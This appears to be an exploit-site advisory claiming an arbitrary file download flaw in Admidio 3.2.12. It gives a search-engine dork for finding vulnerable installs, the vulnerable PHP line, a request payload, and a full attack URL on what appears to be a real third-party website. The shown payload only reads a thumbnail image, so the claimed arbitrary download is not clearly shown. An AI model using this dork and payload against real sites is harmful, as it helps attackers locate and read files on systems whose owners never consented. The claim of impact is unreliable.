Admidio 3.2.12 Arbitrary File Download Vulnerability

2018.01.22

indoushka (DZ)

Risk: Medium

Local: No

Remote: Yes

CVE: N/A

CWE: N/A

============================================================================================================================
| # Title : Admidio 3.2.12 Arbitrary File Download Vulnerability |
| # Author : indoushka |
| # Telegram : @indoushka |
| # Tested on : windows 10 Fr V.(Pro) |
| # Vendor : https://www.admidio.org/ |
| # Dork : "© 2004 - 2017 Admidio Team" |
============================================================================================================================
poc :
adm_program\modules\photos\photo_show.php
line 105
readfile($ordner.'/thumbnails/'.$getPhotoNr.'.jpg');
[+] Dorking İn Google Or Other Search Enggine .
[+] use payload : modules/photos/photo_show.php?pho_id=0&photo_nr=1&thumb=1
http://www.cvjm-reutlingen.de/admidio/adm_program/modules/photos/photo_show.php?pho_id=0&photo_nr=1&thumb=1
Greetz :----------------------------------------------------------------------------------------
|
jericho * Larry W. Cashdollar * shadow0075 * djroot.dz *Gjoko 'LiquidWorm' Krstic |
|
================================================================================================

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Admidio 3.2.12 Arbitrary File Download Vulnerability

Dork: "© 2004 - 2017 Admidio Team"

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.